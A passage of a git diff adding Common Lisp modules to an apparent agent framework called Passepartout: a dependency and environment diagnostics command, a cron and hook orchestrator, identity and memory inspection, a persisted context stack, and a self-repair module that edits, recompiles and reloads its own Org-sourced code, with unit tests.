t "DOCTOR: Running: ~a~%" cmd) + (handler-case + (let ((output (uiop:run-program cmd + :output :string + :error-output :string + :external-format :utf-8))) + (if (zerop (uiop:run-program (format nil "which ~a" (car *doctor-missing-deps*)) + :ignore-error-status t)) + (progn + (format t "DOCTOR: Dependencies installed successfully.~%") + (setf *doctor-missing-deps* nil) + t) + (progn + (format t "DOCTOR: Installation failed. Output: ~a~%" output) + nil))) + (error (c) + (format t "DOCTOR: Installation error: ~a~%" c) + nil))))) + +(defun diagnostics-env-check () + "Validates XDG directories and environment configuration." + (format t "DOCTOR: Checking XDG environment...~%") + (let ((all-ok t) + (config-dir (uiop:getenv "PASSEPARTOUT_CONFIG_DIR")) + (data-dir (uiop:getenv "PASSEPARTOUT_DATA_DIR")) + (state-dir (uiop:getenv "PASSEPARTOUT_STATE_DIR")) + (memex-dir (uiop:getenv "MEMEX_DIR"))) + + (flet ((check-dir (name path critical) + (if (and path (> (length path) 0)) + (if (uiop:directory-exists-p path) + (format t " [OK] ~a: ~a~%" name path) + (progn + (format t " [FAIL] ~a directory missing: ~a~%" name path) + (when critical (setf all-ok nil)))) + (progn + (format t " [FAIL] ~a variable not set.~%" name) + (when critical (setf all-ok nil)))))) + + (check-dir "Config (PASSEPARTOUT_CONFIG_DIR)" config-dir t) + (check-dir "Data (PASSEPARTOUT_DATA_DIR)" data-dir t) + (check-dir "State (PASSEPARTOUT_STATE_DIR)" state-dir t) + (check-dir "Memex (MEMEX_DIR)" memex-dir t)) + all-ok)) + +(defun diagnostics-llm-check () + "Tests connectivity to LLM providers. Returns T if at least one provider is configured." + (format t "DOCTOR: Checking LLM connectivity...~%") + (let ((providers '((:openrouter . "OPENROUTER_API_KEY") + (:anthropic . "ANTHROPIC_API_KEY") + (:openai . "OPENAI_API_KEY") + (:groq . "GROQ_API_KEY") + (:gemini . "GEMINI_API_KEY") + (:deepseek . "DEEPSEEK_API_KEY") + (:nvidia . "NVIDIA_API_KEY") + (:ollama . "OLLAMA_URL"))) + (configured nil)) + (dolist (p providers) + (let ((env-val (uiop:getenv (cdr p)))) + (cond + ((and env-val (> (length env-val) 0)) + (format t " [OK] ~a configured~%" (car p)) + (setf configured t)) + ((eq (car p) :ollama) + (let ((ollama-check (ignore-errors + (uiop:run-program '("curl" "-s" "http://localhost:11434/api/tags") + :output :string :ignore-error-status t)))) + (when (and ollama-check (search "\"models\"" ollama-check)) + (format t " [OK] Ollama local model server detected~%") + (setf configured t))))))) + (if configured + (progn + (format t " [OK] LLM provider(s) available~%") + t) + (progn + (format t " [WARN] No LLM provider configured.~%") + (format t " Run 'passepartout configure' to configure a provider.~%") + t)))) + +(defun diagnostics-run-all (&key (auto-install t)) + "Executes the full diagnostic suite and returns T if system is healthy." + (format t "==================================================~%") + (format t " PASSEPARTOUT DOCTOR: Commencing Health Check~%") + (format t "==================================================~%") + (let ((dep-ok (diagnostics-dependencies-check))) + (when (and (not dep-ok) auto-install *doctor-auto-install*) + (format t "DOCTOR: Attempting automatic installation...~%") + (setf dep-ok (diagnostics-dependencies-install)) + (when dep-ok + (setf dep-ok (diagnostics-dependencies-check)))) + (let ((env-ok (diagnostics-env-check)) + (llm-ok (diagnostics-llm-check))) + (format t "==================================================~%") + (if (and dep-ok env-ok) + (progn + (format t " ✓ SYSTEM HEALTHY: Ready for ignition.~%") + t) ;; Explicitly return T + (progn + (format t "==================================================~%") + (format t " ISSUES FOUND:~%") + (when (not dep-ok) + (format t " - Missing system dependencies~%")) + (when (not llm-ok) + (format t " - No LLM provider configured~%")) + (format t "~%") + (format t " RECOMMENDED ACTIONS:~%") + (format t " 1. Run 'passepartout configure' to configure everything~%") + (format t " 2. Or run 'passepartout doctor --fix' for auto-repair~%") + (format t "==================================================~%") + nil))))) ;; Return nil when issues found + +(defun diagnostics-main () + "Entry point for the 'doctor' CLI command." + (if (diagnostics-run-all) + (uiop:quit 0) + (uiop:quit 1))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-diagnostics-tests + (:use :cl :fiveam :passepartout) + (:export #:diagnostics-suite)) + +(in-package :passepartout-diagnostics-tests) + +(def-suite diagnostics-suite :description "Verification of the System Diagnostics logic") +(in-suite diagnostics-suite) + +(test test-diagnostics-dependency-fail + "Contract 1: missing binaries cause diagnostics-dependencies-check to return nil." + (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-DIAGNOSTICS")) + (bin-var (and pkg (find-symbol "*DIAGNOSTICS-BINARIES*" pkg)))) + (when bin-var + (setf (symbol-value bin-var) '("non-existent-binary-123")) + (is (null (diagnostics-dependencies-check)))))) + +(test test-diagnostics-env-fail + "Contract 2: diagnostics-env-check returns a boolean." + (let ((result (diagnostics-env-check))) + (is (or (eq t result) (eq nil result)) + "diagnostics-env-check should return T or NIL"))) + +(test test-diagnostics-dependency-success + "Contract 1: all binaries present returns T." + (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-DIAGNOSTICS")) + (bin-var (and pkg (find-symbol "*DIAGNOSTICS-BINARIES*" pkg)))) + (when bin-var + (setf (symbol-value bin-var) '("ls")) + (is (eq t (diagnostics-dependencies-check)))))) + +(defskill :passepartout-symbolic-diagnostics + :priority 100 + :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat)) + :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil)) diff --git a/lisp/symbolic-events.lisp b/lisp/symbolic-events.lisp new file mode 100644 index 0000000..998311f --- /dev/null +++ b/lisp/symbolic-events.lisp @@ -0,0 +1,224 @@ +(defpackage :passepartout.symbolic-events + (:use :cl :passepartout) + (:export + :orchestrator-register-hook + :orchestrator-register-cron + :orchestrator-classify + :orchestrator-on-heartbeat + :orchestrator-bootstrap + :orchestrator-dispatch + :default-classifier + :parse-org-repeat + :*hook-registry* + :*cron-registry* + :*tier-classifier*)) + +(in-package :passepartout.symbolic-events) + +(defvar *hook-registry* (make-hash-table :test 'equal) + "Maps hook property string → list of gate function symbols.") + +(defvar *cron-registry* (make-hash-table :test 'equal) + "Maps job name string → plist (:next-run :expression :repeat :action :tier).") + +(defvar *tier-classifier* nil + "Optional function (context) → :reflex | :cognition | :reasoning.") + +(defun default-classifier (context) + "Rule-based tier classification. +:reflex — file/shell operations, deterministic checks +:cognition — text processing, summarization, simple Q&A +:reasoning — planning, analysis, multi-step decisions" + (let* ((text (or (getf context :text) "")) + (lower (string-downcase text))) + (cond + ((or (search "rm " lower) + (search "write-file" lower) + (search "shell" lower) + (search "verify-" lower)) + :reflex) + ((or (search "summarize" lower) + (search "list" lower) + (search "find " lower) + (search "what is" lower) + (search "search" lower)) + :cognition) + (t :reasoning)))) + +(defun parse-org-repeat (timestamp-string) + (let* ((cleaned (string-trim '(#\< #\> #\Newline #\Tab) timestamp-string)) + (parts (uiop:split-string cleaned :separator '(#\space))) + (repeat-part (ignore-errors (car (last parts))))) + (when (and repeat-part (uiop:string-prefix-p "+" repeat-part)) + (let* ((rest (subseq repeat-part 1)) + (num-end (position-if (lambda (c) (not (digit-char-p c))) rest)) + (num (parse-integer (subseq rest 0 num-end))) + (unit-str (subseq rest num-end))) + (list (intern (string-upcase unit-str) :keyword) num))))) + +(defun orchestrator-register-hook (hook-property gate-function) + "Registers a deterministic gate to fire when an Org node with +the #+HOOK: property matching HOOK-PROPERTY is modified." + (push gate-function + (gethash (string-downcase (string hook-property)) *hook-registry*)) + (log-message "ORCHESTRATOR: Hook ~a → ~a" hook-property gate-function)) + +(defun orchestrator-register-cron (name expression action-function tier) + "Register a cron job. NAME is a keyword, EXPRESSION is an Org-mode +timestamp string with optional repeat. TIER is :reflex :cognition :reasoning." + (let* ((repeat (parse-org-repeat expression)) + (now (get-universal-time))) + (setf (gethash (string-downcase (string name)) *cron-registry*) + (list :next-run now + :expression expression + :repeat repeat + :action action-function + :tier tier)) + (log-message "ORCHESTRATOR: Cron ~a (tier: ~a, repeat: ~a)" + name tier repeat))) + +(defun orchestrator-dispatch (action tier) + "Execute ACTION at the specified TIER." + (flet ((safe-inject (text) + (when (fboundp (find-symbol "STIMULUS-INJECT" :passepartout)) + (funcall (find-symbol "STIMULUS-INJECT" :passepartout) + (list :type :EVENT + :payload (list :sensor :user-input :text text)))))) + (ecase tier + (:reflex + (if (functionp action) + (funcall action) + (when (and (symbolp action) (fboundp action)) + (funcall action))) + :dispatched) + (:cognition + (safe-inject (format nil "~a" action)) + :injected) + (:reasoning + (safe-inject (format nil "~a" action)) + :injected)))) + +(defun orchestrator-on-heartbeat (context) + "Called on each heartbeat tick. Checks and dispatches due cron jobs." + (declare (ignore context)) + (let ((now (get-universal-time)) + (due-jobs nil)) + (maphash (lambda (name config) + (let ((next-run (getf config :next-run))) + (when (>= now next-run) + (push (cons name config) due-jobs)))) + *cron-registry*) + (dolist (job due-jobs) + (let* ((name (car job)) + (config (cdr job)) + (action (getf config :action)) + (tier (getf config :tier)) + (repeat (getf config :repeat)) + (result (orchestrator-dispatch action tier))) + (log-message "ORCHESTRATOR: Heartbeat dispatched ~a (tier: ~a) → ~a" + name tier result) + (when repeat + (let* ((unit (first repeat)) + (value (second repeat)) + (interval (case unit + (:d (* 86400 value)) + (:w (* 604800 value)) + (:m (* 2592000 value)) + (t (* 3600 value))))) + (setf (getf (gethash name *cron-registry*) :next-run) + (+ now interval)))))) + nil)) + +(defun orchestrator-scan-org-file (filepath) + "Scans a single Org file for HOOK and CRON properties in property drawers. +Returns a list of plists (:type :hook/:cron :name :value )." + (let ((results nil) + (in-properties nil) + (lines nil)) + (handler-case + (setf lines (uiop:split-string (uiop:read-file-string filepath) + :separator '(#\Newline))) + (error (c) + (log-message "ORCHESTRATOR: Could not read ~a: ~a" filepath c) + (return-from orchestrator-scan-org-file nil))) + (dolist (line lines) + (let ((trimmed (string-trim '(#\Space) line))) + (when (string= trimmed ":PROPERTIES:") + (setf in-properties t)) + (when (string= trimmed ":END:") + (setf in-properties nil)) + (when in-properties + (cond + ((uiop:string-prefix-p ":HOOK:" trimmed) + (let ((val (string-trim '(#\Space) (subseq trimmed 6)))) + (push (list :type :hook :name val :file filepath) results) + (log-message "ORCHESTRATOR: Found hook ~a in ~a" val filepath))) + ((uiop:string-prefix-p ":CRON:" trimmed) + (let ((val (string-trim '(#\Space) (subseq trimmed 6)))) + (push (list :type :cron :name val :file filepath) results) + (log-message "ORCHESTRATOR: Found cron ~a in ~a" val filepath))))))) + (nreverse results))) + +(defun orchestrator-bootstrap () + "Scans all Org files in the memex for #+HOOK: and #+CRON: properties +and registers them. Scans ~/memex/projects/ and ~/memex/system/ by default." + (let* ((memex-dir (or (uiop:getenv "MEMEX_DIR") + (namestring (merge-pathnames "memex/" (user-homedir-pathname))))) + (scan-dirs (list (merge-pathnames "projects/" memex-dir) + (merge-pathnames "system/" memex-dir))) + (hook-count 0) + (cron-count 0)) + (dolist (dir scan-dirs) + (handler-case + (let ((files (uiop:directory-files dir "*.org"))) + (dolist (file files) + (let* ((path (namestring file)) + (entries (orchestrator-scan-org-file path))) + (dolist (entry entries) + (let ((type (getf entry :type)) + (name (getf entry :name))) + (cond + ((eq type :hook) + (orchestrator-register-hook name + (lambda () + (log-message "ORCHESTRATOR: Hook ~a fired" name)))) + ((eq type :cron) + (orchestrator-register-cron + (intern (string-upcase (format nil "cron-~a" name)) :keyword) + name + (lambda () + (log-message "ORCHESTRATOR: Cron ~a fired" name)) + :cognition)))) + (if (eq (getf entry :type) :hook) (incf hook-count) (incf cron-count)))))) + (error (c) + (log-message "ORCHESTRATOR: Could not scan ~a: ~a" dir c)))) + (log-message "ORCHESTRATOR: Bootstrap complete (~d hooks, ~d cron jobs)" + hook-count cron-count))) + +(defun events-start-heartbeat () + "Starts the background heartbeat thread. v0.5.0: extracted from core-loop." + (let ((interval (or (ignore-errors (parse-integer (uiop:getenv "HEARTBEAT_INTERVAL"))) 60)) + (auto-save (or (ignore-errors (parse-integer (uiop:getenv "MEMORY_AUTO_SAVE_INTERVAL"))) passepartout::*memory-auto-save-interval*))) + (setf passepartout::*memory-auto-save-interval* auto-save) + (setf passepartout::*heartbeat-save-counter* 0) + (setf passepartout::*heartbeat-thread* + (bt:make-thread + (lambda () + (loop + (sleep interval) + (incf passepartout::*heartbeat-save-counter*) + (when (>= passepartout::*heartbeat-save-counter* (/ passepartout::*memory-auto-save-interval* interval)) + (setf passepartout::*heartbeat-save-counter* 0) + (passepartout::save-memory-to-disk)) + (stimulus-inject + (list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time)))))) + :name "passepartout-heartbeat")))) + +(defskill :passepartout-symbolic-events + :priority 80 + :trigger (lambda (ctx) + (eq (getf (getf ctx :payload) :sensor) :heartbeat)) + :deterministic (lambda (action context) + (declare (ignore action)) + (orchestrator-on-heartbeat context) + nil)) diff --git a/lisp/symbolic-identity.lisp b/lisp/symbolic-identity.lisp new file mode 100644 index 0000000..efbc120 --- /dev/null +++ b/lisp/symbolic-identity.lisp @@ -0,0 +1,92 @@ +(in-package :passepartout) + +(defvar *agent-identity* "" + "Identity text loaded from ~/memex/IDENTITY.org at startup. + +This variable holds the contents of the user's identity file. +Loaded by `load-identity-file` at daemon/skill initialization, +called from `agent-identity` for system prompt injection. + +The file is user-editable and persists across restarts. +If the file is missing or empty, this variable remains \"\".") + +(defun load-identity-file (&optional (path nil path-p)) + "Load agent identity from an org file. + +Reads the identity text file and caches it in +`*agent-identity*`. If PATH is not provided, defaults to +`~/memex/IDENTITY.org`. + +Returns the file content string on success, or NIL if the file +does not exist or cannot be read." + (let* ((file-path (if path-p + (uiop:ensure-pathname path :ensure-absolute t) + (merge-pathnames "memex/IDENTITY.org" + (user-homedir-pathname))))) + (when (uiop:file-exists-p file-path) + (handler-case + (let ((content (uiop:read-file-string file-path))) + (setf *agent-identity* content) + content) + (error () nil))))) + +(defun agent-identity () + "Return the currently loaded agent identity string." + (or *agent-identity* "")) + +;; Auto-load identity at skill init +(load-identity-file) + +(defpackage :passepartout-identity-tests + (:use :common-lisp :fiveam :passepartout) + (:export :identity-suite)) + +(in-package :passepartout-identity-tests) + +(def-suite identity-suite + :description "Agent identity loading and caching") +(in-suite identity-suite) + +(test test-load-identity-file-returns-content + "Contract 1: load-identity-file reads an existing file, returns content." + (let* ((path "/tmp/memex-test-identity.org") + (content "### Personality +- Friendly +- Concise")) + (with-open-file (f path :direction :output :if-exists :supersede) + (write-string content f)) + (unwind-protect + (let ((result (passepartout::load-identity-file path))) + (is (stringp result)) + (is (search "Friendly" result)) + (is (search "Concise" result))) + (ignore-errors (delete-file path))))) + +(test test-load-identity-file-missing-nil + "Contract 1: nil when file does not exist." + (let ((result (passepartout::load-identity-file + "/tmp/memex-nonexistent-xxxx.org"))) + (is (null result)))) + +(test test-agent-identity-cached + "Contract 2+3: agent-identity returns cached value after load." + (let* ((path "/tmp/memex-test-identity2.org") + (content "### Preferences +- Use shell cautiously")) + (with-open-file (f path :direction :output :if-exists :supersede) + (write-string content f)) + (unwind-protect + (progn + (passepartout::load-identity-file path) + (let ((id (passepartout::agent-identity))) + (is (search "shell cautiously" id)))) + (ignore-errors (delete-file path))))) + +(test test-agent-identity-empty-default + "Contract 2: returns empty string when nothing was loaded." + (let ((prev passepartout::*agent-identity*)) + (unwind-protect + (progn + (setf passepartout::*agent-identity* nil) + (is (string= "" (passepartout::agent-identity)))) + (setf passepartout::*agent-identity* prev)))) diff --git a/lisp/symbolic-memory.lisp b/lisp/symbolic-memory.lisp new file mode 100644 index 0000000..e1c8275 --- /dev/null +++ b/lisp/symbolic-memory.lisp @@ -0,0 +1,73 @@ +(in-package :passepartout) + +(defun memory-inspect (&key (type-filter nil) (todo-filter nil) (limit 10)) + "Returns a structured report of memory state. +Optional filters: TYPE-FILTER (keyword), TODO-FILTER (string). +Returns a plist: (:total :by-type :by-todo + :recent :snapshots :orphans )." + (let* ((store (if (boundp '*memory-store*) + (symbol-value '*memory-store*) + (return-from memory-inspect + (list :total 0 :reason "Memory store not available")))) + (total 0) + (type-counts (make-hash-table :test 'eq)) + (todo-counts (make-hash-table :test 'equal)) + (recent nil) + (all-ids (make-hash-table :test 'equal)) + (orphans 0)) + (maphash (lambda (id obj) + (setf (gethash id all-ids) t) + (let ((obj-type (memory-object-type obj)) + (attrs (memory-object-attributes obj)) + (v (memory-object-version obj))) + (unless (and type-filter (not (eq obj-type type-filter))) + (let ((todo (getf attrs :TODO-STATE))) + (when (and todo-filter + (not (string-equal todo todo-filter))) + (return nil))) + (incf total) + (incf (gethash obj-type type-counts 0)) + (let ((todo (getf attrs :TODO-STATE))) + (when todo + (incf (gethash todo todo-counts 0)))) + (push (list :id id + :type t + :todo (getf attrs :TODO-STATE) + :title (getf attrs :TITLE) + :version v) + recent)))) + store) + ;; Sort recent by version desc and take LIMIT + (setf recent (subseq (sort recent #'> + :key (lambda (r) (or (getf r :version) 0))) + 0 (min limit (length recent)))) + ;; Count orphans + (maphash (lambda (id obj) + (let ((parent (memory-object-parent-id obj))) + (when (and parent (not (gethash parent all-ids))) + (incf orphans)))) + store) + ;; Build output + (let ((types (loop for k being the hash-keys of type-counts + using (hash-value v) + collect (cons k v))) + (todos (loop for k being the hash-keys of todo-counts + using (hash-value v) + collect (cons k v))) + (snapshots (if (boundp '*memory-snapshots*) + (length (symbol-value '*memory-snapshots*)) + 0))) + (list :total total + :by-type (sort types #'> :key #'cdr) + :by-todo (sort todos #'> :key #'cdr) + :recent recent + :snapshots snapshots + :orphans orphans)))) + +(defskill :passepartout-symbolic-memory + :priority 100 + :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :introspection)) + :deterministic (lambda (action ctx) + (declare (ignore action ctx)) + (ignore-errors (memory-inspect)) + nil)) diff --git a/lisp/symbolic-scope.lisp b/lisp/symbolic-scope.lisp new file mode 100644 index 0000000..0a2c4ff --- /dev/null +++ b/lisp/symbolic-scope.lisp @@ -0,0 +1,168 @@ +(in-package :passepartout) + +(defvar *context-stack* nil + "Stack of context plists. Each plist has :project, :base-path, :scope. +Top of stack (car) is the current context.") + +(defvar *context-max-depth* 10 + "Maximum context stack depth. Prevents runaway pushes.") + +(defun current-context () + "Returns the current context plist, or nil if no context is set." + (car *context-stack*)) + +(defun current-scope () + "Returns the current scope keyword (:memex/:session/:project). +Returns :memex when no context is set (defaults to global scope)." + (or (getf (current-context) :scope) :memex)) + +(defun current-project () + "Returns the current project name, or nil." + (getf (current-context) :project)) + +(defun current-base-path () + "Returns the current base path for file resolution, or nil." + (getf (current-context) :base-path)) + +(defun context-stack-depth () + "Returns the current depth of the context stack." + (length *context-stack*)) + +(defun push-context (&key project base-path (scope :project)) + "Pushes a new context onto the stack. When focused on a project: +- File paths resolve relative to BASE-PATH +- Memory queries filter by SCOPE +- :memex scope objects remain visible (always global) +Returns the new context plist." + (when (>= (context-stack-depth) *context-max-depth*) + (log-message "CONTEXT: Stack depth limit reached (~d), refusing push" *context-max-depth*) + (return-from push-context (current-context))) + (let* ((context (list :project project + :base-path base-path + :scope scope))) + (push context *context-stack*) + (context-save) + (log-message "CONTEXT: Pushed ~a (depth ~d)" project (context-stack-depth)) + context)) + +(defun pop-context () + "Pops the current context, restoring the previous one. +Returns the restored context or nil if stack becomes empty." + (if *context-stack* + (let ((popped (pop *context-stack*))) + (context-save) + (log-message "CONTEXT: Popped ~a (depth ~d)" + (getf popped :project) (context-stack-depth)) + (current-context)) + (progn + (log-message "CONTEXT: Cannot pop — stack is empty") + nil))) + +(defmacro with-context ((&key project base-path (scope :project)) &body body) + "Executes BODY within a scoped context, then restores the previous context. +Example: + (with-context (:project \"passepartout\" :base-path \"/home/user/memex/projects/passepartout\") + (context-scoped-query :tag \"bug\"))" + `(let ((*context-stack* (cons (list :project ,project + :base-path ,base-path + :scope ,scope) + *context-stack*))) + ,@body)) + +(defun resolve-path (path) + "Resolves a file path relative to the current context. +If PATH is absolute, returns it unchanged. +If PATH is relative and a base-path is set, merges them. +Otherwise returns PATH unchanged." + (let ((base (current-base-path))) + (if (and base path (not (uiop:absolute-pathname-p path))) + (namestring (merge-pathnames path (uiop:ensure-directory-pathname base))) + path))) + +(defun context-scoped-query (&key tag todo-state type) + "Like context-query but filtered to the current context's scope. +:memex-scoped objects are always visible regardless of current scope." + (context-query :tag tag :todo-state todo-state :type type :scope (current-scope))) + +(defun project-objects () + "Returns all objects scoped to the current project. +Includes :memex-scoped objects (global knowledge) plus :project-scoped +objects matching the current project." + (context-scoped-query)) + +(defun focus-project (name base-path) + "Shortcut: focus on a project by name and base path. +Calls push-context with :scope :project." + (push-context :project name :base-path base-path :scope :project)) + +(defun focus-session () + "Shortcut: enter a session context (ephemeral scope). +Objects created in this scope are visible only during the session." + (push-context :project "session" :scope :session)) + +(defun focus-memex () + "Shortcut: return to global memex scope. Equivalent to pop-context +until stack is empty or :memex context is reached." + (loop while (and *context-stack* + (not (eq (getf (current-context) :scope) :memex))) + do (pop-context))) + +(defun unfocus () + "Pop the top context and return to the previous one." + (pop-context)) + +(defvar *context-persistence-file* nil + "Path to the context stack persistence file.") + +(defun context-persist-file () + "Returns the full path to the context persistence file." + (or *context-persistence-file* + (setf *context-persistence-file* + (merge-pathnames ".cache/passepartout/context.lisp" + (user-homedir-pathname))))) + +(defun context-save () + "Writes *context-stack* to the persistence file." + (handler-case + (let ((path (context-persist-file))) + (ensure-directories-exist (make-pathname :directory (pathname-directory path))) + (with-open-file (s path :direction :output :if-exists :supersede + :if-does-not-exist :create) + (prin1 *context-stack* s)) + (log-message "CONTEXT: Saved stack (depth ~d) to ~a" + (length *context-stack*) path)) + (error (c) + (log-message "CONTEXT: Failed to save: ~a" c)))) + +(defun context-load () + "Restores *context-stack* from the persistence file." + (handler-case + (let ((path (context-persist-file))) + (when (probe-file path) + (with-open-file (s path :direction :input) + (let ((*read-eval* nil) + (data (read s nil nil))) + (when (listp data) + (setf *context-stack* data) + (log-message "CONTEXT: Restored stack (depth ~d) from ~a" + (length *context-stack*) path)) + t)))) + (error (c) + (log-message "CONTEXT: Failed to load: ~a" c) + nil))) + +(defskill :passepartout-symbolic-scope + :priority 90 + :trigger (lambda (ctx) (declare (ignore ctx)) nil) + :deterministic (lambda (action ctx) + (declare (ignore action)) + (ignore-errors + (when (> (context-stack-depth) 0) + nil)) + nil)) + +(when (boundp '*scope-resolver*) + (setf *scope-resolver* #'current-scope)) + +;; Restore persisted context on load +(context-load) diff --git a/lisp/symbolic-self-improve.lisp b/lisp/symbolic-self-improve.lisp new file mode 100644 index 0000000..8c02694 --- /dev/null +++ b/lisp/symbolic-self-improve.lisp @@ -0,0 +1,198 @@ +(defun org-tangle-file (filepath) + "Tangles an Org file's lisp blocks to its :tangle target, compiles, and loads." + (let ((content (uiop:read-file-string filepath)) + (tangle-path nil) + (lisp-lines nil) + (in-block nil)) + (dolist (line (uiop:split-string content :separator '(#\Newline))) + (let ((trimmed (string-trim '(#\Space #\Tab) line))) + (cond + ((and (null tangle-path) + (search "#+PROPERTY:" trimmed) + (search ":tangle" trimmed)) + (let* ((parts (uiop:split-string trimmed :separator '(#\Space))) + (target (car (last parts))) + (org-dir (make-pathname :directory (pathname-directory filepath)))) + (when (and target (not (string-equal target "no"))) + (setf tangle-path + (if (char= (aref target 0) #\/) + (uiop:parse-unix-namestring target) + (uiop:parse-unix-namestring + (format nil "~a/~a" (namestring org-dir) target))))))) + ((search "#+begin_src lisp" trimmed) + (setf in-block t)) + ((search "#+end_src" trimmed) + (setf in-block nil) + (let ((before (search "#+end_src" line))) + (when (and before (> before 0)) + (push (subseq line 0 before) lisp-lines)))) + (in-block + (push line lisp-lines))))) + (when (and tangle-path lisp-lines) + (setf lisp-lines (nreverse lisp-lines)) + (ensure-directories-exist tangle-path) + (with-open-file (f tangle-path :direction :output :if-exists :supersede) + (format f "~{~a~%~}" lisp-lines)) + (let ((compiled (compile-file tangle-path))) + (when compiled + (load compiled) + (list :tangled (namestring tangle-path) :compiled t)))))) + +(defun org-extract-lisp-blocks (content) + "Extracts all #+begin_src lisp blocks from Org CONTENT as a list of strings." + (let ((blocks nil) + (in-block nil) + (current nil)) + (dolist (line (uiop:split-string content :separator '(#\Newline))) + (let ((trimmed (string-trim '(#\Space #\Tab) line))) + (cond + ((search "#+begin_src lisp" trimmed) + (setf in-block t current nil)) + ((search "#+end_src" trimmed) + (when in-block + (let ((before (search "#+end_src" line))) + (when (and before (> before 0)) + (push (subseq line 0 before) current))) + (push (format nil "~{~a~%~}" (nreverse current)) blocks) + (setf in-block nil current nil))) + (in-block + (push line current))))) + (nreverse blocks))) + +(defun self-improve-edit (filepath old-text new-text) + "Surgical text replacement with tangle+reload for Org source files." + (when (or (null filepath) (null old-text) (null new-text)) + (return-from self-improve-edit + (list :status :error :reason "Missing arguments"))) + (when (not (uiop:file-exists-p filepath)) + (return-from self-improve-edit + (list :status :error :reason (format nil "File not found: ~a" filepath)))) + (log-message "SELF-IMPROVE: Editing ~a (~d chars)" filepath (length old-text)) + (ignore-errors + (when (fboundp 'snapshot-memory) + (snapshot-memory))) + (let* ((content (uiop:read-file-string filepath)) + (pos (search old-text content))) + (if pos + (let* ((new-content (concatenate 'string + (subseq content 0 pos) + new-text + (subseq content (+ pos (length old-text))))) + (ext (pathname-type filepath))) + (with-open-file (f filepath :direction :output :if-exists :supersede) + (write-sequence new-content f)) + (let ((re-read (uiop:read-file-string filepath))) + (if (search new-text re-read :test 'string=) + (let ((tangle-result + (when (string-equal ext "org") + (ignore-errors (org-tangle-file filepath))))) + (list :status :success + :summary (format nil "Replaced ~d chars in ~a" + (length old-text) filepath) + :tangle tangle-result)) + (list :status :error :reason "Verification failed")))) + (list :status :error :reason + (format nil "Text not found in ~a" filepath))))) + +(defun self-improve-balance-parens (code) + "Returns balanced code or nil if already balanced." + (handler-case + (progn + (let ((*read-eval* nil)) + (with-input-from-string (s code) + (loop for form = (read s nil :eof) until (eq form :eof))) + (values)) + nil) + (error () + (let* ((opens (loop for ch across code count (char= ch #\())) + (closes (loop for ch across code count (char= ch #\)))) + (missing (- opens closes))) + (when (plusp missing) + (concatenate 'string code + (make-string missing :initial-element #\)))))))) + +(defun self-improve-repair-syntax (skill-name) + "Find and fix unbalanced parens in a skill's Org source file." + (let* ((data-dir (uiop:ensure-directory-pathname + (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") + (merge-pathnames ".local/share/passepartout/" + (user-homedir-pathname))))) + (org-path (merge-pathnames (format nil "org/~a.org" skill-name) data-dir))) + (unless (uiop:file-exists-p org-path) + (return-from self-improve-repair-syntax + (list :status :error :reason (format nil "Source not found: ~a" skill-name) + :repaired nil))) + (let* ((content (uiop:read-file-string org-path)) + (blocks (org-extract-lisp-blocks content)) + (fixed 0) (result content)) + (dolist (block blocks) + (let ((balanced (self-improve-balance-parens block))) + (when (and balanced (not (string= block balanced))) + (let ((pos (search block result))) + (when pos + (setf result (concatenate 'string + (subseq result 0 pos) + balanced + (subseq result (+ pos (length block)))) + fixed (1+ fixed))))))) + (if (> fixed 0) + (progn + (with-open-file (f org-path :direction :output :if-exists :supersede) + (write-sequence result f)) + (let ((tangle-result (org-tangle-file org-path))) + (list :status :success + :action (format nil "Fixed ~d block(s) in ~a" fixed skill-name) + :repaired t :tangle tangle-result))) + (list :status :error + :reason (format nil "No unbalanced blocks in ~a" skill-name) + :repaired nil))))) + +(defun self-improve-fix (skill-name error-log) + "Diagnoses and attempts to repair a failing skill." + (when (or (null skill-name) (null error-log)) + (return-from self-improve-fix + (list :status :error :reason "Missing arguments: skill-name and error-log required"))) + (log-message "SELF-IMPROVE: Diagnosing ~a..." skill-name) + (let* ((log-str (if (stringp error-log) error-log (format nil "~a" error-log))) + (diagnosis nil) + (extracted-type nil)) + (cond + ((search "Reader Error" log-str :test 'char-equal) + (setf extracted-type :syntax-error + diagnosis (list :type :syntax-error + :detail "Reader Error (likely unbalanced parentheses)" + :log log-str))) + ((search "Undefined" log-str :test 'char-equal) + (setf extracted-type :undefined-symbol + diagnosis (list :type :undefined-symbol + :detail "Undefined symbol or missing dependency" + :log log-str))) + ((search "PACKAGE" log-str :test 'char-equal) + (setf extracted-type :package-error + diagnosis (list :type :package-error + :detail "Package resolution error" + :log log-str))) + (t + (setf extracted-type :unknown + diagnosis (list :type :unknown + :detail (format nil "Unrecognized error: ~a" + (subseq log-str 0 (min 200 (length log-str)))) + :log log-str)))) + (log-message "SELF-IMPROVE: Diagnosed ~a as ~a" skill-name extracted-type) + (let ((repair-result + (when (eql extracted-type :syntax-error) + (self-improve-repair-syntax skill-name)))) + (if (and repair-result (getf repair-result :repaired)) + (progn + (log-message "SELF-IMPROVE: Successfully repaired ~a" skill-name) + repair-result) + (list :status :error + :reason (format nil "Diagnosis for ~a: ~a" skill-name + (getf diagnosis :detail)) + :diagnosis diagnosis + :repaired nil))))) + +(defskill :passepartout-symbolic-self-improve + :priority 100 + :trigger (lambda (ctx) (member (getf ctx :type) '(:LOG :EVENT))) + :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil)) diff --git a/lisp/symbolic-time-memory.lisp b/lisp/symbolic-time-memory.lisp new file mode 100644 index 0000000..ac8848a --- /dev/null +++ b/lisp/symbolic-time-memory.lisp @@ -0,0 +1,113 @@ +(in-package :passepartout) + +(defun memory-objects-since (timestamp) + "Returns all memory-objects from *memory-store* with version >= TIMESTAMP." + (let ((results nil)) + (maphash (lambda (id obj) + (declare (ignore id)) + (when (>= (memory-object-version obj) timestamp) + (push obj results))) + *memory-store*) + (nreverse results))) + +(defun memory-objects-in-range (since until) + "Returns memory-objects with version between SINCE and UNTIL (inclusive)." + (let ((results nil)) + (maphash (lambda (id obj) + (declare (ignore id)) + (let ((v (memory-object-version obj))) + (when 